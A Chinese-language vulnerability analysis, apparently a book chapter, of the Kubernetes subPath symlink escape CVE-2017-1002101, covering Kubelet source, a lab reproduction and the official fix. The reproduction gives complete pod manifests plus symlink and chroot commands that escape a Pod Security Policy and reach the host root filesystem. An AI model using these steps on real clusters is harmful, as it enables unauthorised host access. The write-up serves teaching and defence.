CVE-2017-1002101：突破隔离访问宿主机文件系统

简介

CVE-2017-1002101是一个Kubernetes的文件系统逃逸漏洞，允许攻击者使用`subPath`卷挂载来访问卷空间外的文件或目录，CVSS 3.x评分为9.8[1]。所有`v1.3.x`、`v1.4.x`、`v1.5.x`、`v1.6.x`及低于`v1.7.14`、`v1.8.9`和`v1.9.4`版本的Kubernetes均受到影响。该漏洞由Maxim Ivanov提交[2]。

后来，Kubernetes官方还公布了一个类似效果的漏洞，编号为CVE-2017-1002102[3]，CVSS 3.x评分只有5.6[3]，对此我们不再介绍，感兴趣的读者可以自行了解。

下面，我们首先给出理解该漏洞所必要的背景知识，然后对漏洞进行分析，接着进行漏洞复现实战，最后给出漏洞的修复情况，并作总结与思考。

背景知识

符号链接

符号链接，也被称作软链接，指的是这样一类文件——它们包含了指向其他文件或目录的绝对或相对路径的引用。当我们操作一个符号链接时，操作系统通常会将我们的操作自动解析为针对符号链接指向的文件或目录的操作。

在类Unix系统中，`ln`命令能够创建一个符号链接，例如：

```
ln -s target_path link_path
```

上述命令创建了一个名为`link_path`的符号链接，它指向的目标文件为`target_path`。

欲了解更多关于符号链接的内容，可以参考维基百科[5]。

SubPath

在容器内部，本地文件通常是非持久化的。对于Kubernetes来说，当容器由于某种原因终止运行并被Kubelet重启后，非持久化的本地文件就会丢失；另外，集群中同一Pod内部或Pod间常常会有文件共享的需求。Kubernetes提供了Volume资源用来解决上述问题，官方文档对Volume进行了详尽描述[12]。

有时，我们需要把一个Volume在多处使用。`volumeMounts.subPath`特性允许我们在挂载时指定某Volume内的子路径，而非其根路径。

以经典的LAMP Pod（Linux Apache Mysql PHP）为例，采用`subPath`特性，同一Pod内的`mysql`和`php`容器可共享同一Volume `site-data`，但在容器内部分别挂载该Volume的不同子路径`mysql`和`html`：

```
apiVersion: v1
kind: Pod
metadata:
  name: my-lamp-site
spec:
    containers:
```

```
    - name: mysql
      image: mysql
      env:
      - name: MYSQL_ROOT_PASSWORD
        value: "rootpasswd"
      volumeMounts:
      - mountPath: /var/lib/mysql
        name: site-data
        subPath: mysql
    - name: php
      image: php:7.0-apache
      volumeMounts:
      - mountPath: /var/www/html
        name: site-data
        subPath: html
    volumes:
    - name: site-data
      persistentVolumeClaim:
        claimName: my-lamp-site-data
```

欲了解更多关于SubPath的内容，可以参考官方文档[6]。

Pod安全策略（Pod Security Policies）

Pod安全策略为Pod的创建和更新提供了细粒度的权限控制。从实现上来讲，Pod安全策略是一种集群级资源，用于对Pod的安全敏感设定进行管控。

PodSecurityPolicy对象定义了一系列Pod运行必须遵从的条件，允许管理员对Pod进行管控，例如：

控制的角度	字段名称
运行特权容器	`privileged`
使用宿主机命名空间	`hostPID`，`hostIPC`
使用宿主机的网络和端口	`hostNetwork`，`hostPorts`
Volume类型的使用	`volumes`
使用宿主机文件系统	`allowedHostPaths`
允许使用特定的FlexVolume驱动	`allowedFlexVolumes`
分配拥有Pod卷的FSGroup账号	`fsGroup`
以只读方式访问根文件系统	`readOnlyRootFilesystem`
设置容器的用户ID和组ID	`runAsUser`，`runAsGroup`，`supplementalGroups`
限制权限提升为root	`allowPrivilegeEscalation`，`defaultAllowPrivilegeEscalation`
Linux 权能（Capabilities）	`defaultAddCapabilities`，`requireDropCapabilities`，`allowedCapabilities`
设置容器的SELinux上下文	`seLinux`
指定容器能挂载的Proc类型	`allowedProcMountTypes`
指定容器使用的AppArmor模板	`annotations`
指定容器使用的seccomp模板	`annotations`
指定容器使用的sysctl模板	`forbiddenSysctls`，`allowedUnsafeSysctls`

欲了解更多关于Pod安全策略的内容及如何启用Pod安全策略，可以参考官方文档[7]。

漏洞分析

在针对CVE-2017-1002101的分析开始之前，我们先要搞清楚一件事——这个漏洞本质上是「Linux符号链接特性」与「Kubernetes自身代码逻辑」两部分结合的产物。符号链接引起的问题并不新鲜，这里它与虚拟化隔离技术碰撞出了逃逸问题，以前还曾有过在传统主机安全领域与SUID概念碰撞出的权限提升问题等，感兴趣的读者深入了解一下[13]。

言归正传。漏洞是怎么产生的呢?

我们首先来结合源码，深入看一下创建一个Pod的过程中与Volume有关的部分。笔者采用的是`v1.9.3`版本的Kubernetes源码，git commit为`d2835416544`。

在一个Pod开始运行前，Kubernetes需要做许多事情。首先，Kubelet为Pod在宿主机上创建了一个基础目录：

```
// in pkg/kubelet/kubelet.go syncPod function
// Make data directories for the pod
if err := kl.makePodDataDirs(pod); err != nil {
    kl.recorder.Eventf(pod, v1.EventTypeWarning,
events.FailedToMakePodDataDirectories, "error making pod data directories: %v", err)
    glog.Errorf("Unable to make pod data directories for pod %q: %v",
format.Pod(pod), err)
    return err
}
```

如果跟进看`makePodDataDirs`函数，可以发现其中就包括Volumes目录：

```
// in pkg/kubelet/kubelet_pods.go
// makePodDataDirs creates the dirs for the pod datas.
func (kl *Kubelet) makePodDataDirs(pod *v1.Pod) error {
    uid := pod.UID
    // ...
    if err := os.MkdirAll(kl.getPodVolumesDir(uid), 0750); err != nil &&
!os.IsExist(err) {
        return err
    }
    // ...
}
```

接着，Kubelet等待Kubelet Volume Manager（`pkg/kubelet/volumemanager`）将Pod声明文件中声明的卷挂载到上述Volumes目录下：

```
// in pkg/kubelet/kubelet_pods.go
// Volume manager will not mount volumes for terminated pods
if !kl.podIsTerminated(pod) {
    // Wait for volumes to attach/mount
    if err := kl.volumeManager.WaitForAttachAndMount(pod); err != nil {
        kl.recorder.Eventf(pod, v1.EventTypeWarning, events.FailedMountVolume,
"Unable to mount volumes for pod %q: %v", format.Pod(pod), err)
        glog.Errorf("Unable to mount volumes for pod %q: %v; skipping pod",
format.Pod(pod), err)
        return err
    }
}
```

在上述工作完成后，Kubelet需要为容器运行时（Container Runtime，后文简称Runtime）生成配置文件：

```
// in pkg/kubelet/kuberuntime/kuberuntime_container.go
func (m *kubeGenericRuntimeManager) startContainer(podSandboxID string,
podSandboxConfig *runtimeapi.PodSandboxConfig, container *v1.Container, pod *v1.Pod,
podStatus *kubecontainer.PodStatus, pullSecrets []v1.Secret, podIP string) (string,
error) {
    // ...
    containerConfig, err := m.generateContainerConfig(container, pod, restartCount,
podIP, imageRef)
    // ...
```

其中核心函数`generateContainerConfig`最终追溯到了位于`pkg/kubelet/kubelet_pods.go`中的`GenerateRunContainerOptions`函数。该函数中调用了`makeMounts`用来生成Runtime需要的挂载映射表：

```
// in pkg/kubelet/kubelet_pods.go GenerateRunContainerOptions function
mounts, err := makeMounts(pod, kl.getPodDir(pod.UID), container, hostname,
hostDomainName, podIP, volumes)
```

`makeMounts`函数是问题关键所在。我们深入看一下：

```
// in pkg/kubelet/kubelet_pods.go
// makeMounts determines the mount points for the given container.
func makeMounts(pod *v1.Pod, podDir string, container *v1.Container, hostName,
hostDomain, podIP string, podVolumes kubecontainer.VolumeMap)
([]kubecontainer.Mount, error) {
    // ...
    mounts := []kubecontainer.Mount{}
    for _, mount := range container.VolumeMounts {
        // ...
        hostPath, err := volume.GetPath(vol.Mounter)
        if err != nil {
            return nil, err
        }
```

```
12          if mount.SubPath != "" {
13              if filepath.IsAbs(mount.SubPath) {
14                  return nil, fmt.Errorf("error SubPath `%s` must not be an absolute
    path", mount.SubPath)
15              }
16
17              err = volumevalidation.ValidatePathNoBacksteps(mount.SubPath)
18              if err != nil {
19                  return nil, fmt.Errorf("unable to provision SubPath `%s`: %v",
    mount.SubPath, err)
20              }
21
22              fileinfo, err := os.Lstat(hostPath)
23              if err != nil {
24                  return nil, err
25              }
26              perm := fileinfo.Mode()
27              // 关键点1
28              hostPath = filepath.Join(hostPath, mount.SubPath)
29
30              if subPathExists, err := utilfile.FileOrSymlinkExists(hostPath); err !=
    nil {
31                  glog.Errorf("Could not determine if subPath %s exists; will not
    attempt to change its permissions", hostPath)
32              } else if !subPathExists {
33                  // Create the sub path now because if it's auto-created later when
    referenced, it may have an
34                  // incorrect ownership and mode. For example, the sub path
    directory must have at least g+rwx
35                  // when the pod specifies an fsGroup, and if the directory is not
    created here, Docker will
36                  // later auto-create it with the incorrect mode 0750
37                  if err := os.MkdirAll(hostPath, perm); err != nil {
38                      glog.Errorf("failed to mkdir:%s", hostPath)
39                      return nil, err
40                  }
41
42                  // chmod the sub path because umask may have prevented us from
    making the sub path with the same
43                  // permissions as the mounter path
44                  if err := os.Chmod(hostPath, perm); err != nil {
45                      return nil, err
46                  }
47              }
48          }
49          // ...
50          // 关键点2
51          mounts = append(mounts, kubecontainer.Mount{
52              Name:           mount.Name,
```

```
            ContainerPath:  containerPath,
            HostPath:       hostPath,
            ReadOnly:       mount.ReadOnly,
            SELinuxRelabel: relabelVolume,
            Propagation:    propagation,
        })
    }
    // ...
    return mounts, nil
}
```

经过仔细分析可以发现，`makeMounts`在生成挂载映射表时，并未单独列出`subPath`的情况。对于指定了`subPath`的挂载项，Kubelet直接将`subPath`与`hostPath`进行简单的字符串合并，然后加入到挂载映射表（上述代码中的`mounts`变量）中。

最终，这个挂载映射表被传递给Runtime来创建容器。

初看，这个流程没什么问题。但是，如果我们把以下几点特征放在一起，就会有问题了[14]：

1. `subPath`是Pod拥有者可控的；
2. 卷是可以由同一Pod内不同生命周期的容器、或不同Pod之间共享的；
3. Kubernetes将宿主机上的文件路径**进行解析**并传递给Runtime，Runtime将这些路径绑定挂载（bind mount）到容器内部。

设想这样一种情况：

假如某人拥有某集群内的Pod创建权限，但是不能任意挂载卷（比如受到Pod安全策略的限制，否则就可以直接挂载宿主机目录实现逃逸了），那么他先创建一个Pod-1，在其中声明挂载Volume-1。Pod-1运行后，利用Pod-1的shell在Volume-1中创建一个指向`/`的符号链接symlink-1；接着再创建一个Pod-2，Pod-2同样声明挂载Volume-1，但是使用了`subPath`特性，指明`subPath`为symlink-1。这样一来，基于我们前面的分析过程，Kubelet会直接在宿主机上生成指向`hostPath+subPath`的路径传递给Runtime。当Pod-2的容器运行起来后，它就会直接挂载宿主机上该符号链接指向的内容了！

这就是CVE-2017-1002101漏洞所在。

漏洞复现

环境准备

首先，我们需要一个存在CVE-2017-1002101漏洞的Kubernetes集群，笔者的测试集群版本为`v1.9.3`。附录1给出了一种安装指定版本Kubernetes的方法，读者可参考。

模拟的场景如下：

在集群中，攻击者具有某命名空间下Pod的创建及相关权限，但是受到Pod安全策略的限制[7]，在创建时如果挂载了`hostPath`类型的卷，只允许挂载某些不重要路径下的目录或文件，例如`/tmp`。这样一来，攻击者很难通过挂载宿主机敏感目录的方式实现容器逃逸。但是借助CVE-2017-1002101，攻击者能够绕过此限制，成功挂载宿主机敏感目录，继而实现容器逃逸。

接着，我们需要布置一下攻击场景。场景很简单——为集群设置Pod安全策略，只允许Pod在创建时挂载宿主机`/tmp`路径下的目录或文件。`v1.9.3`版本Kubernetes的配置有所不同。结合官方文档[7]及网上技术分享[8][9]，首先创建策略：

```
apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
  name: privileged
  annotations:
    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
  privileged: true
  allowPrivilegeEscalation: true
  allowedCapabilities:
  - '*'
  volumes:
  - '*'
  allowedHostPaths:
  - pathPrefix: /tmp/
  hostNetwork: true
  hostPorts:
  - min: 0
    max: 65535
  hostIPC: true
  hostPID: true
  runAsUser:
    rule: 'RunAsAny'
  seLinux:
    rule: 'RunAsAny'
  supplementalGroups:
    rule: 'RunAsAny'
  fsGroup:
    rule: 'RunAsAny'
```

接着打通RBAC：

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
 name: privileged-psp
rules:
 - apiGroups:
   - policy
   resourceNames:
   - privileged
   resources:
   - podsecuritypolicies
   verbs:
   - use
```

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
 name: kube-system-psp
 namespace: kube-system
roleRef:
 apiGroup: rbac.authorization.k8s.io
 kind: ClusterRole
 name: privileged-psp
subjects:
 - apiGroup: rbac.authorization.k8s.io
   kind: Group
   name: system:nodes
 - apiGroup: rbac.authorization.k8s.io
   kind: Group
   name: system:serviceaccounts:kube-system
```

然后为API Server配置PodSecurityPolicy插件。编辑API Server的配置文件（一般是`/etc/kubernetes/manifests/kube-apiserver.yaml`），在`--admission-control`命令行选项后加上`,PodSecurityPolicy`，然后等待API Server重启服务（如果长时间没有重启可以尝试手动执行`service kubelet restart`重启一下Kubelet服务），直到能够看到API Server进程启动参数中包含`PodSecurityPolicy`：

```
root# ps aux | grep kube-apiserver | grep -v grep
root     26141  4.5 12.9 377460 264384 ?       Ssl  11:51  11:37 kube-apiserver --tls-private-key-file=/etc/kubernetes/pki/apiserver.key --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --enable-bootstrap-token-auth=true --service-cluster-ip-range=10.96.0.0/12 --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --client-ca-file=/etc/kubernetes/pki/ca.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --insecure-port=0 --allow-privileged=true --requestheader-group-headers=X-Remote-Group --service-account-key-file=/etc/kubernetes/pki/sa.pub --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --requestheader-username-headers=X-Remote-User --requestheader-extra-headers-prefix=X-Remote-Extra- --requestheader-allowed-names=front-proxy-client --secure-port=6443 --admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,ResourceQuota,PodSecurityPolicy --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --advertise-address=xxx.xxx.xxx.xxx --authorization-mode=Node,RBAC --etcd-servers=http://127.0.0.1:2379
```

上述输出说明Pod安全策略设置成功。我们来测试一下，尝试创建一个挂载宿主机根目录的Pod：

```
root# kubectl apply -f - <<EOF
# stage-1-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: ubuntu
    name: test
    volumeMounts:
    - mountPath: /vuln
      name: vuln-vol
    command: ["sleep"]
    args: ["10000"]
  volumes:
  - name: vuln-vol
    hostPath:
      path: /
EOF
Error from server (Forbidden): error when creating "STDIN": pods "test" is forbidden: unable to validate against any pod security policy: [spec.volumes[0].hostPath.pathPrefix: Invalid value: "/": is not allowed to be used]
```

可以发现，由于安全策略的存在，Pod创建失败。另外，一些读者可能会想到用相对路径`..`来绕过，事实上`/tmp/../`这种形式也会报错：

```
The Pod "test" is invalid:
* spec.volumes[0].hostPath.path: Invalid value: "/tmp/../": must not contain '..'
* spec.containers[0].volumeMounts[0].name: Not found: "vuln-vol"
```

至此，环境准备完成。

漏洞利用

目标很明确：在文件系统层面实现容器逃逸。一旦实现了文件系统层面的容器逃逸，攻击者就像是穿越了结界，很容易继续扩大战果、实施更有杀伤性的攻击。

结合前文的分析，在攻击者的视角下，我们要做的事情实际非常简单：

1. 创建一个Pod，以`hostPath`类型挂载宿主机`/tmp/test`目录；
2. 在上一步的Pod中执行命令，在宿主机`/tmp/test`目录下创建指向`/`的符号链接`xxx`；
3. 创建第二个Pod，以`hostPath`类型挂载宿主机`/tmp/test`目录，在容器中以`subPath`类型挂载`xxx`；
4. 在第二个Pod的shell中，执行`chroot`将根目录切换到`xxx`，实现容器逃逸。

让我们来实践一下。在前面搭建的测试环境中，按照上述步骤：

先创建第一个Pod：

```
root# kubectl apply -f - <<EOF
# stage-1-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: stage-1-container
spec:
  containers:
  - image: ubuntu
    name: stage-1-container
    volumeMounts:
    - mountPath: /vuln
      name: vuln-vol
    command: ["sleep"]
    args: ["10000"]
  volumes:
  - name: vuln-vol
    hostPath:
      path: /tmp/test
EOF
pod/stage-1-container created
```

然后在第一个Pod中创建所述符号连接：

```
root# kubectl exec -it stage-1-container -- ln -s / /vuln/xxx
root#
```

接着创建第二个Pod：

```
root# kubectl apply -f - <<EOF
# stage-2-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: stage-2-container
spec:
  containers:
  - image: ubuntu
    name: stage-2-container
    volumeMounts:
    - mountPath: /vuln
      name: vuln-vol
      subPath: xxx
    command: ["sleep"]
    args: ["10000"]
  volumes:
  - name: vuln-vol
    hostPath:
      path: /tmp/test
EOF
pod/stage-2-container created
```

OK，现在我们已经可以到第二个Pod中验证一下是否逃逸成功了：

```
root# kubectl exec -it stage-2-container -- ls /vuln
bin   home        lib64   opt   sbin  tmp      vmlinuz.old
boot  initrd.img      lost+found  proc  snap  usr      xxx
dev   initrd.img.old  media   root  srv   var
etc   lib         mnt     run   sys   vmlinuz
root#
```

可以看到，我们在第二个Pod中执行`ls /vuln`，列出的却是所在宿主机节点的根目录。进一步地，我们直接在第二个Pod的shell中`chroot`过去：

```
root# kubectl exec -it stage-2-container -- /bin/bash
root@stage-2-container:/# cat /etc/hostname
stage-2-container
root@stage-2-container:/# chroot /vuln
# cat /etc/hostname
victim-2
#
```

很明显，在`chroot`后，从配置文件中获取的主机名已经变成了宿主机节点的名称。验证完毕。

注意事项

在实践过程中我们发现，为了顺利复现漏洞，需要注意：

1. 注意前后创建的两个Pod要在同一个宿主机节点上（如果是多节点集群环境）；
2. 不同版本Kubernetes环境下Admission Controller的PodSecurityPolicy插件的配置方式有一些小差异，具体步骤请参考官方文档。

漏洞修复

`v1.9.x`系列的Kubernetes在`v1.9.4`版本中修复了CVE-2017-1002101漏洞[4]。

漏洞的根源在于，`subPath`指向的宿主机文件系统路径是不受控的，在符号链接的辅助下，可以是任何位置。

修复方案需要考虑两点：

1. 解析后的文件系统路径必须是在Pod基础路径之内；
2. 在检查环节和绑定挂载环节之间不允许用户更改（即避免引入TOCTOU问题[15]）。

Kubernetes产品安全团队曾提出了几种不同版本的安全方案，我们来介绍一下。在这个过程中，读者朋友可以一起来思考。

方案一

基础方案是：

1. 在宿主机上对所有的`subPath`解析符号链接；
2. 判断符号链接解析后的指向目标是否位于卷内部；
3. 只把第2步中判定为卷内部的解析后路径传递给Runtime。

这个方案很简单，但是存在TOCTOU 的风险[15]。攻击者可以先给一个合法符号链接，使第2步判断通过，再将其替换为恶意符号链接即可。因此，如果要采取这个思路，就需要为目标路径加上某种形式的锁，避免其在第2步和第3步之间被攻击者更改。

后续的所有方案都采用一种临时绑定挂载的方式去实现上述「锁」的概念，这基于绑定挂载的特性——绑定挂载生效后，挂载源就不可改变了。

方案二

方案二在方案一的基础上做了加强：

1. 在Kubelet的Pod目录下创建一个子目录，比如`dir1`；
2. 将卷绑定挂载到上述子目录中，比如挂载点为`dir1/volume`；
3. 使用`chroot`切换根目录到`dir1`；
4. 在切换后的根目录内，将`volume/subpath`绑定挂载为`subpath`。这样一来，任何符号链接都是在chroot后的环境中解析了；
5. 退出chroot环境；
6. 在宿主机上，将经过绑定挂载的`dir1/subpath`传递给Runtime。

这种方案有效，但完整实现过于复杂，官方团队没有采用。

方案三

方案三将方案一和方案二进行了整合：

1. 将subpath路径绑定挂载到Kubelet的Pod目录下的一个子目录；
2. 判断绑定挂载的挂载源是否位于卷内部；
3. 只把第2步中判定为卷内部的绑定挂载传递给Runtime。

这个方案看起来有效、简单，但是第2步实际上非常难实现，因为现实中要考虑的情况实在太多了（比如Volume类型差异带来的影响）。

最终解决方案

最终，产品安全团队给出的修复方案是：

1. 在宿主机上对所有的`subPath`解析符号链接；
2. 对解析后的路径，从卷的根路径开始，使用`openat()`系统调用依次打开每一个路径段（即路径被分割符`/`分开的各部分），在这个过程中禁用符号链接。对于每个段，确保当前路径位于在卷内部；
3. 将`/proc/<kubelet pid>/fd/<final fd>`绑定挂载到Kubelet的Pod目录下的一个子目录。该文件是指向打开文件的链接（文件描述符）。如果源文件在被Kubelet打开的时候被替换，那么链接依然指向原始文件；
4. 关闭文件描述符fd，将绑定挂载传递给Runtime。

详细方案讨论见官方博客[14]。实际的修复代码过多，限于篇幅，这里不再给出。

我们在新版本的Kubernetes集群中重试前文的漏洞利用步骤，发现`stage-2-container`将无法创建成功：

```
root# kubectl get pods
NAME                READY   STATUS                       RESTARTS   AGE
stage-1-container   1/1     Running                      0          110s
stage-2-container   0/1     CreateContainerConfigError   0          17s
```

此时，`stage-2-container`的事件日志如下：

```
root# kubectl describe -n test pods stage-2-container | tail -n 7
Events:
  Type     Reason     Age                  From                    Message
  ----     ------     ----                 ----                    -------
  Normal   Scheduled  2m59s                default-scheduler       Successfully assigned test/stage-2-container to ctnsec-master
  Normal   Pulled     26s (x7 over 2m50s)  kubelet, ctnsec-master  Successfully pulled image "ubuntu"
  Warning  Failed     26s (x7 over 2m50s)  kubelet, ctnsec-master  Error: failed to prepare subPath for volumeMount "vuln-vol" of container "stage-2-container"
```

从Kubelet的日志中，我们能够查看到更详细的信息：

```
failed to prepare subPath for volumeMount "vuln-vol" of container "stage-2-container": subpath "/" not within volume path "/tmp/test"
```

可以看到，日志明确指出了`/`路径并不在`/tmp/test`路径下，因此Pod建立失败。

总结与思考

CVE-2017-1002101是Kubernetes对符号链接处理不当引起的安全问题。事实上，符号链接引起的安全问题并不少见。我们在9.2.1小节提到的**跨隔离复制问题**就涉及到不少符号链接引起的安全漏洞。

成熟复杂系统（譬如Linux）的魅力在于其能够提供强大的功能和机制，而问题则往往出现在这些功能与机制同时或交替生效的场景中。

思路再拓展一下：Windows上的「快捷方式」与Linux上的符号链接的功能非常相像。而「快捷方式」也曾曝出许多严重安全漏洞。例如，CVE-2010-2568——Windows快捷方式文件存在缺陷导致的任意代码执行漏洞，据称曾被应用在针对伊朗核设施的「震网病毒」[10]中[11]；再如CVE-2017-8464——另一基于Windows快捷方式的任意代码执行漏洞，由于其漏洞原理上与CVE-2010-2568的相似性，被戏称为「震网三代」。

在云计算世界，我们尤其擅长将各种基础机制打包起来，创造出新的事物，这种新事物也许能够极大地提高生产力，甚至促进产业变革——容器便是典例。然而，结合前文所述，这也意味着以往不曾出现过的机制交叠带来的逻辑漏洞或许会在云环境陆续产生。

参考文献

1. https://nvd.nist.gov/vuln/detail/cve-2017-1002101
2. https://github.com/kubernetes/kubernetes/issues/60813
3. https://nvd.nist.gov/vuln/detail/CVE-2017-1002102
4. https://github.com/kubernetes/kubernetes/pull/61045/commits/16caae31f9e1c4dc74158a9aa79dbce177122c7e
5. https://en.wikipedia.org/wiki/Symbolic_link
6. https://kubernetes.io/docs/concepts/storage/volumes/#using-subpath
7. https://kubernetes.io/docs/concepts/policy/pod-security-policy/
8. https://medium.com/@makocchi/kubernetes-cve-2017-1002101-en-5a30bf701a3e
9. https://stackoverflow.com/questions/59054407/how-to-enable-admission-controller-plugin-on-k8s-where-api-server-is-deployed-as
10. https://en.wikipedia.org/wiki/Stuxnet
11. https://www.cs.utexas.edu/~shmat/courses/cs361s/stuxnet.pdf
12. https://kubernetes.io/docs/concepts/storage/volumes/
13. https://en.wikipedia.org/wiki/Symlink_race
14. https://kubernetes.io/blog/2018/04/04/fixing-subpath-volume-vulnerability/
15. https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use